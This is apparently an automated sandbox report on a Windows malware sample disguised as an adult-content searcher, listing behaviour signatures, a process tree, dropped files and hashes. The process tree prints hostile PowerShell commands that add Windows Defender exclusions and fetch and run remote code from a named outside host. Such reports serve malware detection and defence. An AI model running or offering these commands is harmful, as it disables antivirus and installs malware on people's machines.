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Resubmissions

20/12/2024, 07:33

241220-jds18stqej 10

02/10/2024, 12:01

241002-n6xmcavdjp 10

Analysis

  • max time kernel
    42s
  • max time network
    47s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    02/10/2024, 12:01

General

  • Target

    Hentai_and_Nudes_searcher.exe

  • Size

    437KB

  • MD5

    70e761e3048bc3b921ab2313199fd74f

  • SHA1

    1be4deee7db5645d1e42c8e0583d3f67d5907066

  • SHA256

    8f244860702e6ec3d0de412de629e827bff49b641e59d71557ff3559e60c59f4

  • SHA512

    a6ca91827a3ead93b473beb380b4f757bf6140e05022a601e84362b47d46078cb14231261f6953aa5ebe7024f7fc2b8cf617b2d4f31149273da945893c85bf83

  • SSDEEP

    12288:Jl8/sjCS8Oajo23qfmk56LBdwYPfYW7CjKmPvsnxC8fE85M16YTTKEmCj5iZSazW:EVYXKgij

Malware Config

Signatures

  • UAC bypass 3 TTPs 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Hentai_and_Nudes_searcher.exe
    "C:\Users\Admin\AppData\Local\Temp\Hentai_and_Nudes_searcher.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Windows\SysWOW64\net.exe
      "net" session
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 session
        3⤵
        • System Location Discovery: System Language Discovery
        PID:852
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"powershell.exe\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Windows\System32\WindowsPowerShell\v1.0\\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1316
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-Expression(Invoke-WebRequest -Uri \"http://pastebinlol.serv00.net/pastes/somepower14.txt\").Content"
      2⤵
      • UAC bypass
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4628
      • C:\Users\Admin\AppData\Local\Updates.exe
        "C:\Users\Admin\AppData\Local\Updates.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1164
        • C:\Users\Admin\AppData\Local\chromedrivers.exe
          "C:\Users\Admin\AppData\Local\chromedrivers.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2456
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" csproduct get uuid
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:4996
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            5⤵
            • System Location Discovery: System Language Discovery
            • Detects videocard installed
            • Suspicious use of AdjustPrivilegeToken
            PID:1688
          • C:\Users\Admin\AppData\Local\chromedrivers.exe
            "C:\Users\Admin\AppData\Local\chromedrivers.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3224
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              "wmic" csproduct get uuid
              6⤵
              • System Location Discovery: System Language Discovery
              PID:4920
            • C:\Windows\SysWOW64\Wbem\wmic.exe
              "wmic" path win32_VideoController get name
              6⤵
              • System Location Discovery: System Language Discovery
              • Detects videocard installed
              PID:3220
      • C:\Users\Admin\AppData\Local\Temp\nds.exe
        "C:\Users\Admin\AppData\Local\Temp\nds.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3880

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d0c46cad6c0778401e21910bd6b56b70

    SHA1

    7be418951ea96326aca445b8dfe449b2bfa0dca6

    SHA256

    9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02

    SHA512

    057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    2e9e5c1b0ec6b52883a21f03e6ca1b2e

    SHA1

    c8a911afb0a6a0dedb8e670afb2c5cea7bd666e8

    SHA256

    0dfa680a59128dc0b270626ea427a4e41684da075e573916f3b2670fa878a91d

    SHA512

    4ff62072925884305b4e3c03a57501f9038351d2b56dfca737df10ed924aa4fc2a8a07570908cf67db95ba0d6e0cdb3b45d9d8a03f036de68e1376b532654a97

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    9ec70c93e5ae911a9ba6cb4aaf598323

    SHA1

    50bce84ce7492e27395df07588b1fd94f5cc3675

    SHA256

    ae5e2fe13fe7b8ab738ccdafdc18409045423da2503b852cf7c1d6f23e4c6f47

    SHA512

    51cf96ebd7d79e6bbd6d40c4f4ac19d389e27074c947c32a889faa5773723764ac9b9e03d135af7baf87cc82ba05584bcaad4489ab070379b657aa6b26e3d4c6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i4oh1ddx.xta.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\nds.exe

    Filesize

    439KB

    MD5

    ea3e56db72a8f96003a188e664621fae

    SHA1

    20e228520187983faf42c94d2a8de448c1878221

    SHA256

    89f59a737962ce32482dd6f733d19a780031b469b5cd21a3bddea6426258aa5f

    SHA512

    ad90d569c6e72528f8b18442c3edd75e9fad4110e08e5b32e4f3ef7f570e6eccf4d6e1da95e05d9323296e4e8c208ed2c08f38f9292b6477028873df1ac9bc93

  • C:\Users\Admin\AppData\Local\Updates.exe

    Filesize

    254KB

    MD5

    50df586c92d6ceb442599d20e015b357

    SHA1

    1d2071089bdc091d06fb1bb4e458cf7ca3dd1276

    SHA256

    4e435463689beff07ef6b17b8d6559d68a1f21e62bf652cc28cc6d6535da4310

    SHA512

    cb0dbe51fee3f15227234470c53fd61b848a7177a31929ec1b5275f9bb7528e87370433c8113f0352af62250e121e5d5e08dc15b67d9126976d5e12744c5953f

  • C:\Users\Admin\AppData\Local\chromedrivers.exe

    Filesize

    10.8MB

    MD5

    71e905772d3d65b1c93e25fd03c88235

    SHA1

    0edea1290d45e427cd7be43abfab11d085a5c2e3

    SHA256

    9526227a851d1ce70a2a444c4c7ee7de2c5bf6206a42decaad8d65c3ff0b61d9

    SHA512

    71af02434d64350218cec31dd13eb7baa285411d74707d29aa114033e996bfb6dc81b19eec89dd21f1103b798ded83cd089adeb690fbc48fdf62cbce3b91d924

  • memory/1164-111-0x000002349F0E0000-0x000002349F0FE000-memory.dmp

    Filesize

    120KB

  • memory/1164-109-0x000002349D2D0000-0x000002349D31C000-memory.dmp

    Filesize

    304KB

  • memory/1164-110-0x00000234B7810000-0x00000234B7886000-memory.dmp

    Filesize

    472KB

  • memory/1316-65-0x000000006F720000-0x000000006F76C000-memory.dmp

    Filesize

    304KB

  • memory/1316-63-0x0000000005CA0000-0x0000000005FF7000-memory.dmp

    Filesize

    3.3MB

  • memory/2456-141-0x000000000A890000-0x000000000A942000-memory.dmp

    Filesize

    712KB

  • memory/2456-140-0x0000000000A00000-0x0000000001A44000-memory.dmp

    Filesize

    16.3MB

  • memory/3880-124-0x00000000003C0000-0x0000000000434000-memory.dmp

    Filesize

    464KB

  • memory/4628-97-0x00000000089C0000-0x00000000089D5000-memory.dmp

    Filesize

    84KB

  • memory/4628-85-0x0000000007B50000-0x0000000007B72000-memory.dmp

    Filesize

    136KB

  • memory/4628-84-0x0000000008A20000-0x00000000091C6000-memory.dmp

    Filesize

    7.6MB

  • memory/4628-86-0x000000006F720000-0x000000006F76C000-memory.dmp

    Filesize

    304KB

  • memory/4628-95-0x0000000008780000-0x0000000008824000-memory.dmp

    Filesize

    656KB

  • memory/4628-96-0x0000000008870000-0x0000000008881000-memory.dmp

    Filesize

    68KB

  • memory/4660-5-0x0000000004A00000-0x0000000004A0A000-memory.dmp

    Filesize

    40KB

  • memory/4660-142-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4660-25-0x00000000748FE000-0x00000000748FF000-memory.dmp

    Filesize

    4KB

  • memory/4660-26-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4660-0-0x00000000748FE000-0x00000000748FF000-memory.dmp

    Filesize

    4KB

  • memory/4660-125-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4660-4-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4660-3-0x0000000004A60000-0x0000000004AF2000-memory.dmp

    Filesize

    584KB

  • memory/4660-2-0x0000000005010000-0x00000000055B6000-memory.dmp

    Filesize

    5.6MB

  • memory/4660-1-0x0000000000010000-0x0000000000084000-memory.dmp

    Filesize

    464KB

  • memory/4944-21-0x0000000005F60000-0x00000000062B7000-memory.dmp

    Filesize

    3.3MB

  • memory/4944-47-0x00000000079E0000-0x00000000079EE000-memory.dmp

    Filesize

    56KB

  • memory/4944-48-0x00000000079F0000-0x0000000007A05000-memory.dmp

    Filesize

    84KB

  • memory/4944-49-0x0000000007B00000-0x0000000007B1A000-memory.dmp

    Filesize

    104KB

  • memory/4944-50-0x0000000007AE0000-0x0000000007AE8000-memory.dmp

    Filesize

    32KB

  • memory/4944-53-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-46-0x00000000079B0000-0x00000000079C1000-memory.dmp

    Filesize

    68KB

  • memory/4944-45-0x0000000007A40000-0x0000000007AD6000-memory.dmp

    Filesize

    600KB

  • memory/4944-44-0x0000000007810000-0x000000000781A000-memory.dmp

    Filesize

    40KB

  • memory/4944-43-0x00000000077A0000-0x00000000077BA000-memory.dmp

    Filesize

    104KB

  • memory/4944-42-0x0000000007DE0000-0x000000000845A000-memory.dmp

    Filesize

    6.5MB

  • memory/4944-39-0x0000000006A90000-0x0000000006AAE000-memory.dmp

    Filesize

    120KB

  • memory/4944-41-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-40-0x0000000007460000-0x0000000007504000-memory.dmp

    Filesize

    656KB

  • memory/4944-38-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-27-0x0000000006A10000-0x0000000006A44000-memory.dmp

    Filesize

    208KB

  • memory/4944-28-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-29-0x000000006F720000-0x000000006F76C000-memory.dmp

    Filesize

    304KB

  • memory/4944-24-0x0000000006470000-0x00000000064BC000-memory.dmp

    Filesize

    304KB

  • memory/4944-23-0x0000000006450000-0x000000000646E000-memory.dmp

    Filesize

    120KB

  • memory/4944-22-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-10-0x0000000005D40000-0x0000000005DA6000-memory.dmp

    Filesize

    408KB

  • memory/4944-11-0x0000000005DF0000-0x0000000005E56000-memory.dmp

    Filesize

    408KB

  • memory/4944-12-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-9-0x00000000055A0000-0x00000000055C2000-memory.dmp

    Filesize

    136KB

  • memory/4944-7-0x00000000748F0000-0x00000000750A1000-memory.dmp

    Filesize

    7.7MB

  • memory/4944-8-0x00000000056A0000-0x0000000005CCA000-memory.dmp

    Filesize

    6.2MB

  • memory/4944-6-0x0000000002C60000-0x0000000002C96000-memory.dmp

    Filesize

    216KB